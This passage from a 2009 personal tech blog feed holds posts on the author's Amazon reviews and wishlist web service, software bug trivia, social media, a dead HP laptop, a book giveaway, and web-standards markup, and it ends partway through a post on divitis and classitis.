<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/amazon/reviews/id/<em>{customerId}</em>.<em>{xml|json}</em></span></p>
<p>By username URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/amazon/reviews/user/<em>{user-name}</em>.<em>{xml|json}</em></span></p>
<p>Example:</p>
<p style="padding-left: 30px;">Request: <a href="http://adam.kahtava.com/services/amazon/reviews/id/A2JM0EQJELFL69.xml">http://adam.kahtava.com/services/amazon/reviews/id/A2JM0EQJELFL69.xml</a></p>
<p style="padding-left: 30px;">Response:</p>
<pre style="padding-left: 30px;">&lt;Reviews xmlns="http://adam.kahtava.com/services/amazon" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"&gt;
  &lt;Review&gt;
    &lt;ASIN&gt;0321125215&lt;/ASIN&gt;
    &lt;Authors&gt;Eric Evans&lt;/Authors&gt;
    &lt;AuthorsMLA&gt;Evans Eric.&lt;/AuthorsMLA&gt;
    &lt;Content&gt;Through this book Evan's ...</pre>
<p><strong>View your Wishlist - <span style="font-weight: normal;">view your Wishlist by username or Amazon ListId.</span></strong></p>
<p>By listId URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/amazon/wishlist/id/<em>{listId}</em>.<em>{xml|json}</em></span></p>
<p>By username URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/amazon/wishlist/user/<em>{user-name}</em>.<em>{xml|json}</em></span></p>
<p>Example:</p>
<p style="padding-left: 30px;">Request: <a href="http://adam.kahtava.com/services/amazon/wishlist/user/adam-kahtava.json">http://adam.kahtava.com/services/amazon/wishlist/user/adam-kahtava.json</a></p>
<p style="padding-left: 30px;">Response:</p>
<pre style="padding-left: 30px;">[{"ASIN":"0471467413","Authors":"Mostafa Abd-El-Barr, Hesham El-Rewini", ...</pre>
<h3>So now what?</h3>
<p>Head on over to my <a href="http://adam.kahtava.com/book-reviews/">Reviews</a> and <a href="http://adam.kahtava.com/reading-lists/recommended-and-wishlist/">Reading List</a> pages. These pages make use of the data from this service. I should also mention that, this service was built on a previous iteration of my Amazon Web Service (<a href="http://adam.kahtava.com/journal/2008/10/06/how-to-display-your-amazon-reviews-and-wish-list-on-your-site-using-amazons-web-services/">How To Display Your Amazon Reviews and Wish List Using Amazon’s Web Services</a>).</p>
<p>Contribute, view, or download the openly available source code <a href="http://code.google.com/p/adamdotcom-services/source/browse/trunk#trunk/AdamDotCom.Amazon.Service/Source/Service">here</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=FBqYBhaRQQQ:MCZJhGZ7Ctc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=FBqYBhaRQQQ:MCZJhGZ7Ctc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=FBqYBhaRQQQ:MCZJhGZ7Ctc:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=FBqYBhaRQQQ:MCZJhGZ7Ctc:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=FBqYBhaRQQQ:MCZJhGZ7Ctc:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=FBqYBhaRQQQ:MCZJhGZ7Ctc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=FBqYBhaRQQQ:MCZJhGZ7Ctc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=FBqYBhaRQQQ:MCZJhGZ7Ctc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/FBqYBhaRQQQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/09/15/introducing-my-amazon-web-service-find-your-profile-view-your-wishlist-or-reviews/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/09/15/introducing-my-amazon-web-service-find-your-profile-view-your-wishlist-or-reviews/</feedburner:origLink></item>
		<item>
		<title>Fun with “Bugs Bugs Bugs, If I had them all in jugs”, Bugbears, Bohrbugs, Schroedinbugs</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/Fk8Z-3rUoTA/</link>
		<comments>http://adam.kahtava.com/journal/2009/09/14/fun-with-bugs-bugs-bugs-if-i-had-them-all-in-jugs-bugbears-bohrbugs-schroedinbugs/#comments</comments>
		<pubDate>Mon, 14 Sep 2009 16:00:14 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Musings]]></category>

		<category><![CDATA[Quality Assurance]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1818</guid>
		<description><![CDATA[Some software bug trivia.
Where did the term 'bug' originate? 
According to Phil Factor:
The word 'bug' actually is short for Bugbear, sometimes found as Bugaboo. The meaning is much closer to 'Gremlin', where the people who worked on engineering prototypes often grew to suspect that the problems were due to malicious spooks. I sometimes still hear [...]]]></description>
			<content:encoded><![CDATA[<p>Some software bug trivia.</p>
<p><strong>Where did the term </strong><strong>'bug'</strong><strong> originate? </strong></p>
<p>According to Phil Factor:</p>
<blockquote><p>The word 'bug' actually is short for Bugbear, sometimes found as Bugaboo. The meaning is much closer to 'Gremlin', where the people who worked on engineering prototypes often grew to suspect that the problems were due to malicious spooks. I sometimes still hear it said that a particular piece of software is cursed with malicious spirits. The 'Bug' or 'Bogey' part of the word is traceable back to the fifteenth century in the meaning of 'Hobogoblin', devil or ghost. ... the word 'Bugbear', first recorded in the sixteenth century, is still used in referring to problems with machinery. - <a href="http://www.amazon.com/Confessions-Manager-Phil-Factor/dp/1906434190">Confessions of an IT Manager, Phil Factor </a></p></blockquote>
<p><strong>How many bug types can you name off?</strong></p>
<p>Wikipedia lists six types of bugs: <a href="http://en.wikipedia.org/wiki/Unusual_software_bug#Heisenbug">Heisenbugs</a>, <a href="http://en.wikipedia.org/wiki/Unusual_software_bug#Bohrbug">Bohrbugs</a>, <a href="http://en.wikipedia.org/wiki/Unusual_software_bug#Mandelbug">Mandelbugs</a>, <a href="http://en.wikipedia.org/wiki/Unusual_software_bug#Schroedinbug">Schroedinbugs</a>, <a href="http://en.wikipedia.org/wiki/Unusual_software_bug#Phase_of_the_Moon_bug">Phase of the Moon bugs</a>, and <a href="http://en.wikipedia.org/wiki/Unusual_software_bug#Statistical_bug">Statistical bugs</a>.</p>
<p><strong>Which music should you listen to while squishing software bugs?</strong></p>
<p><a href="http://www.youtube.com/v/C4lN_nCYCHI&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0">The Bug Song</a> by Canada's Stompin' Tom Connors of course.</p>
<div style="float: right;"><object width="213" height="172" data="http://www.youtube.com/v/C4lN_nCYCHI&amp;hl=en&amp;fs=1&amp;rel=0" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/C4lN_nCYCHI&amp;hl=en&amp;fs=1&amp;rel=0" /><param name="allowfullscreen" value="true" /></object></div>
<blockquote><p>Bugs Bugs Bugs, If I had them all in jugs<br />
I'd dig dig dig, till a big big hole was dug dug dug dug--<br />
And that would be the end of the bug song...repeat</p></blockquote>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Fk8Z-3rUoTA:PJhZ2q5hj-4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Fk8Z-3rUoTA:PJhZ2q5hj-4:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Fk8Z-3rUoTA:PJhZ2q5hj-4:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Fk8Z-3rUoTA:PJhZ2q5hj-4:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Fk8Z-3rUoTA:PJhZ2q5hj-4:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Fk8Z-3rUoTA:PJhZ2q5hj-4:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Fk8Z-3rUoTA:PJhZ2q5hj-4:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Fk8Z-3rUoTA:PJhZ2q5hj-4:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/Fk8Z-3rUoTA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/09/14/fun-with-bugs-bugs-bugs-if-i-had-them-all-in-jugs-bugbears-bohrbugs-schroedinbugs/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/09/14/fun-with-bugs-bugs-bugs-if-i-had-them-all-in-jugs-bugbears-bohrbugs-schroedinbugs/</feedburner:origLink></item>
		<item>
		<title>Thoughts on Social Media: It’s Like TV</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/YDJ0R03nK6M/</link>
		<comments>http://adam.kahtava.com/journal/2009/09/11/thoughts-on-social-media-its-like-tv/#comments</comments>
		<pubDate>Fri, 11 Sep 2009 16:00:45 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Musings]]></category>

		<category><![CDATA[Personal]]></category>

		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1824</guid>
		<description><![CDATA[
I once had a strong aversion to Social Media (Facebook, Twitter, LinkedIn, FriendFeed, pick the site of the week, ...) but today I embrace it. In the old days, I thought these sites were silly, a waste of time, and preferred to spend more of my time pursuing technical / academic activities. In retrospect, I [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><a href="http://www.flickr.com/photos/matthamm/2945559128/"><img src="http://farm4.static.flickr.com/3285/2945559128_53078d246b_m.jpg" alt="" /></a></div>
<p>I once had a strong aversion to Social Media (Facebook, Twitter, LinkedIn, FriendFeed, pick the site of the week, ...) but today I embrace it. In the old days, I thought these sites were silly, a waste of time, and preferred to spend more of my time pursuing technical / academic activities. In retrospect, I think I was feeling insecure in my technical abilities (placing to much focus on technical pursuits), I probably thought I had a boring life (and thought everyone else was bragging about theirs), and I certainly misunderstood the fundamentals of Social Media (somehow I thought being part of the conversation meant I had to consume everything).</p>
<p>I eventually realized that Social Media is a lot like TV. TV is overwhelmed with commercials and mediocre shows, the content is hard to find. When I watch TV (if I watch TV) I mute the commercials, flip through the channels looking for something interesting, and multitask (magazine, laptop, ...). In the end TV is a leisure activity, I don't try watching every channel (I know I can't) and don't pay attention to the advertisements. I do the same thing on Social Media sites too. I don't pay attention to every post (I can't) and I don't pay attention to self promotion, promotions, or advertisements.</p>
<p>Today I embrace Social Media because it lets me participate in the conversation, share my opinion, connect with friends and family, and be an active part of our world. Oh yeah, and it's fun too!</p>
<blockquote><p>"Don't be shy ... or nobody will know you're there" - Yusuf Islam / Cat Stevens</p></blockquote>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=YDJ0R03nK6M:DbiKFkLHaDY:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=YDJ0R03nK6M:DbiKFkLHaDY:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=YDJ0R03nK6M:DbiKFkLHaDY:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=YDJ0R03nK6M:DbiKFkLHaDY:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=YDJ0R03nK6M:DbiKFkLHaDY:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=YDJ0R03nK6M:DbiKFkLHaDY:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=YDJ0R03nK6M:DbiKFkLHaDY:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=YDJ0R03nK6M:DbiKFkLHaDY:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/YDJ0R03nK6M" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/09/11/thoughts-on-social-media-its-like-tv/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/09/11/thoughts-on-social-media-its-like-tv/</feedburner:origLink></item>
		<item>
		<title>My HP Pavilion tx1000 (Laptop) Died</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/VLOkTDczYi0/</link>
		<comments>http://adam.kahtava.com/journal/2009/07/31/my-hp-pavilion-tx1000-died/#comments</comments>
		<pubDate>Fri, 31 Jul 2009 16:00:35 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1797</guid>
		<description><![CDATA[
I joined the HP Pavilion tx1000 drop dead club last month. Apparently the tx1xxx models of the HP Pavilion laptops have an issue with the NVIDIA chip frying the CPU hamsters (melting the solder on the motherboard) - I'm not really sure about the technical details, but a broken laptop is bad news.
Whatever happened it [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><a href="http://www.flickr.com/photos/basvandenbeld/3859228207/"><img src="http://farm3.static.flickr.com/2606/3859228207_82d1bbb974_m.jpg" alt="" /></a></div>
<p>I joined the HP Pavilion tx1000 drop dead club last month. Apparently the tx1xxx models of the HP Pavilion laptops have an issue with the NVIDIA chip frying the CPU hamsters (melting the solder on the motherboard) - I'm not really sure about the technical details, but a broken laptop is bad news.</p>
<p>Whatever happened it first killed my wireless, then the machine wouldn't turn on (black screen, no BIOS, no boot). <strong>However; I'm writing this post from the same defective laptop.</strong> That's right folks! I did NOT have to find a <a href="http://forums11.itrc.hp.com/service/forums/questionanswer.do?admit=109447626+1249078961383+28353475&amp;threadId=1316876#tdIdName9">penny older than 1982</a>, I did NOT have to <a href="http://www.youtube.com/watch?v=ctHTF3oNdxI"> dismantle and cook the computer under a halogen lamp for 5 minutes</a>. Instead I...</p>
<p><strong>How to fix your tx1xxx laptop</strong>:</p>
<ul>
<li>Put your laptop on a firm grounding like the floor, counter, or sturdy table</li>
<li>Placed your right elbow on the enter key and push down hard</li>
<li>Pull on the opposite side of the laptop casting until you hear creaking (while pushing on the enter key with your right elbow)</li>
</ul>
<p>I heard creaking and crunching as I physically bent the case (and the motherboard I'm sure). Now, aside from a crack in the case and a still defunct wireless card I'm temporarlily back in business - and in active search of a replacement laptop.</p>
<p>I'll give any company or product a chance, but quality and user experience is the deciding factor. I doubt that I'd purchase another HP machine, but I now have an excuse to get a Mac!</p>
<div style="border: 1px solid #ccccee; padding: 5px; background-color: #ffffdd;"><strong>Update:</strong> my HP tx1000 kicked the can about a month after writing this article. I chop shopped it on eBay for a cool $400, then used the cash to get a spanking new MacBook Pro!</div>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=VLOkTDczYi0:D0DVwCa1PL8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=VLOkTDczYi0:D0DVwCa1PL8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=VLOkTDczYi0:D0DVwCa1PL8:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=VLOkTDczYi0:D0DVwCa1PL8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=VLOkTDczYi0:D0DVwCa1PL8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=VLOkTDczYi0:D0DVwCa1PL8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=VLOkTDczYi0:D0DVwCa1PL8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=VLOkTDczYi0:D0DVwCa1PL8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/VLOkTDczYi0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/07/31/my-hp-pavilion-tx1000-died/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/07/31/my-hp-pavilion-tx1000-died/</feedburner:origLink></item>
		<item>
		<title>Free: Win a Copy of: JavaScript: The Definitive Guide by David Flanagan</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/3o1NGFjkr0k/</link>
		<comments>http://adam.kahtava.com/journal/2009/07/23/free-win-a-copy-of-javascript-the-definitive-guide-by-david-flanagan/#comments</comments>
		<pubDate>Thu, 23 Jul 2009 16:00:10 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Book]]></category>

		<category><![CDATA[Contest]]></category>

		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1766</guid>
		<description><![CDATA[
Free to a good home: JavaScript: The Definitive Guide by David Flanagan.
It's rare for technical books to be held in such high esteem, but the numbers speak - this book has close to 200 five star ratings on Amazon, confirming that The Definitive Guide is still one of the seminal guides to the JavaScript language. [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right;"><a href="http://www.amazon.com/JavaScript-Definitive-Guide-David-Flanagan/dp/0596101996/"><img src="http://ecx.images-amazon.com/images/I/51OY5KP5ydL._AA240_.jpg" alt="" /></a></div>
<p><strong>Free to a good home: </strong><a href="http://www.amazon.com/JavaScript-Definitive-Guide-David-Flanagan/dp/0596101996/"><strong>JavaScript: The Definitive Guide</strong></a><strong> by David Flanagan.</strong></p>
<p>It's rare for technical books to be held in such high esteem, but the numbers speak - this book has close to <a href="http://www.amazon.com/JavaScript-Definitive-Guide-David-Flanagan/product-reviews/0596101996/">200 five star ratings on Amazon</a>, confirming that The Definitive Guide is still one of the seminal guides to the JavaScript language. Flanagan's book is a must read for developers and designers alike. <em>Along with </em><a href="http://www.amazon.com/JavaScript-Good-Parts-Douglas-Crockford/dp/0596517742/"><em>JavaScript: The Good Parts by Douglas Crockford</em></a><em> of course.</em> I reviewed this book a while back, you can read <a href="http://adam.kahtava.com/journal/2008/03/26/book-reviewed-javascript-the-definitive-guide-by-david-flanagan/">my review</a>.</p>
<p><strong>The Details:</strong></p>
<ul>
<li> Comment on this post</li>
<li> Leave a valid email in the email comment field</li>
<li> The winner will be chosen at random and notified through email on Oct 1st</li>
<li> I cross my fingers hoping that you don't live on the other side of the world (I pay for shipping)</li>
</ul>
<p><span style="text-decoration: line-through;">Good Luck!</span></p>
<p>And the winner is Dan Carlson!</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3o1NGFjkr0k:foOqfomZNNE:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3o1NGFjkr0k:foOqfomZNNE:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=3o1NGFjkr0k:foOqfomZNNE:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3o1NGFjkr0k:foOqfomZNNE:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=3o1NGFjkr0k:foOqfomZNNE:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3o1NGFjkr0k:foOqfomZNNE:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=3o1NGFjkr0k:foOqfomZNNE:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3o1NGFjkr0k:foOqfomZNNE:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/3o1NGFjkr0k" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/07/23/free-win-a-copy-of-javascript-the-definitive-guide-by-david-flanagan/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/07/23/free-win-a-copy-of-javascript-the-definitive-guide-by-david-flanagan/</feedburner:origLink></item>
		<item>
		<title>Book Reviewed: Designing with Web Standards by Jeffrey Zeldman</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/oz_v9bmpqdo/</link>
		<comments>http://adam.kahtava.com/journal/2009/07/20/book-reviewed-designing-with-web-standards/#comments</comments>
		<pubDate>Mon, 20 Jul 2009 16:00:08 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Book]]></category>

		<category><![CDATA[CSS]]></category>

		<category><![CDATA[DOM]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[Review]]></category>

		<category><![CDATA[Web Standards]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1750</guid>
		<description><![CDATA[
The title of Jeffrey Zeldman's book (Designing with Web Standards) says it all - this book promoted accessible, usable, search engine friendly web design and development through the use of XHTML and CSS while debunking the myths surrounding web standards. Zeldman is a well recognized name among web developers and designers - he's the the founder of A List Apart, and co-founder of The [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right;"><a href="http://www.amazon.com/Designing-Web-Standards-Jeffrey-Zeldman/dp/0321385551/"><img class="alignright" title="Designing with web standards" src="http://ec1.images-amazon.com/images/P/0321385551.01._SCMZZZZZZZ_.jpg" alt="" width="131" height="160" /></a></div>
<p>The title of <a href="http://en.wikipedia.org/wiki/Jeffrey_Zeldman">Jeffrey Zeldman's</a> book (<a href="http://www.amazon.com/Designing-Web-Standards-Jeffrey-Zeldman/dp/0321385551">Designing with Web Standards</a>) says it all - this book promoted accessible, usable, search engine friendly web design and development through the use of XHTML and CSS while debunking the myths surrounding web standards. Zeldman is a well recognized name among web developers and designers - he's the the founder of <a href="http://www.alistapart.com/">A List Apart</a>, and co-founder of <a href="http://www.webstandards.org/">The Web Standards Project (WaSP)</a>. His writing is entertaining, witty, easy to read, and insightful - it's very much like the content we're used to reading at <a href="http://www.alistapart.com/">A List Apart</a>. It's also fair to mention that this book has been edited by industy experts and influencial writers like <a href="http://en.wikipedia.org/wiki/Eric_Meyer">Eric Myer</a>. Any developer that works with the web should read this book along with <a href="http://www.amazon.com/JavaScript-Good-Parts-Douglas-Crockford/dp/0596517742">JavaScript: The Good Parts</a> by Douglas Crockford.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=oz_v9bmpqdo:KrO6uD2ym4I:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=oz_v9bmpqdo:KrO6uD2ym4I:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=oz_v9bmpqdo:KrO6uD2ym4I:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=oz_v9bmpqdo:KrO6uD2ym4I:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=oz_v9bmpqdo:KrO6uD2ym4I:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=oz_v9bmpqdo:KrO6uD2ym4I:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=oz_v9bmpqdo:KrO6uD2ym4I:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=oz_v9bmpqdo:KrO6uD2ym4I:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/oz_v9bmpqdo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/07/20/book-reviewed-designing-with-web-standards/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/07/20/book-reviewed-designing-with-web-standards/</feedburner:origLink></item>
		<item>
		<title>Chronic Divitis And Classitis, What Are They?</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/d-VJlIclq_I/</link>
		<comments>http://adam.kahtava.com/journal/2009/07/15/cronic-divitis-and-classitis-what-is-it/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 16:00:16 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[CSS]]></category>

		<category><![CDATA[DOM]]></category>

		<category><![CDATA[Google Exercise]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[Web Standards]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1716</guid>
		<description><![CDATA[Jeffery Zeldman offers this entertaining definition for Divitis and Classitis:
Classitis is the measles of markup, obscuring meaning as it adds needless weight to every page. The affliction dates back to the early days of semi-CSS-capable browsers and the many designers' initially childish comprehension of how CSS works.
Alas, many have not yet outgrown that childish misunderstanding [...]]]></description>
			<content:encoded><![CDATA[<p>Jeffery Zeldman offers this entertaining definition for Divitis and Classitis:</p>
<blockquote><p><strong>Classitis is the measles of markup</strong>, obscuring meaning as it adds needless weight to every page. The affliction dates back to the early days of semi-CSS-capable browsers and the many designers' initially childish comprehension of how CSS works.<br />
Alas, many have not yet outgrown that childish misunderstanding of CSS ... Classitis is as bad in its own way as the <code>&lt;font&gt;</code> tag ever was; rarely does good markup require it ... At other times classitis is exacerbated by a still more serious condition ... divitis ...<strong> Classitis and divitis are like the needless adjectives with wich bad writing is strewen</strong>. They are the weeds in the garden of meaning. - Jeffrey Zeldman, <a href="http://www.amazon.com/Designing-Web-Standards-Jeffrey-Zeldman/dp/0321385551/">Designing with Web Standards</a></p></blockquote>
<p><strong>An example of markup wraught with divitis and classitis:</strong><br />
<img class="alignnone size-full wp-image-1720" style="padding-left: 5px;" title="googleexercise-divitis1" src="http://adam.kahtava.com/journal/wp-content/uploads/2009/07/googleexercise-divitis1.png" alt="googleexercise-divitis1" width="470" height="455" /><br />
<em>13 <code>div</code> elements and 11 classes for a single item. What a stench! :)  <a href="http://adam.kahtava.com/etcetera/google-web-developer-exercises/non-semantic-pure-javascript/">View this markup in action.</a></em></p>
<p><strong>The equivalent markup disease free:</strong><br />
<img class="alignnone size-full wp-image-1721" style="padding-left: 5px;" title="googleexercise-semantic" src="http://adam.kahtava.com/journal/wp-content/uploads/2009/07/googleexercise-semantic.png" alt="googleexercise-semantic" width="519" height="360" /><br />
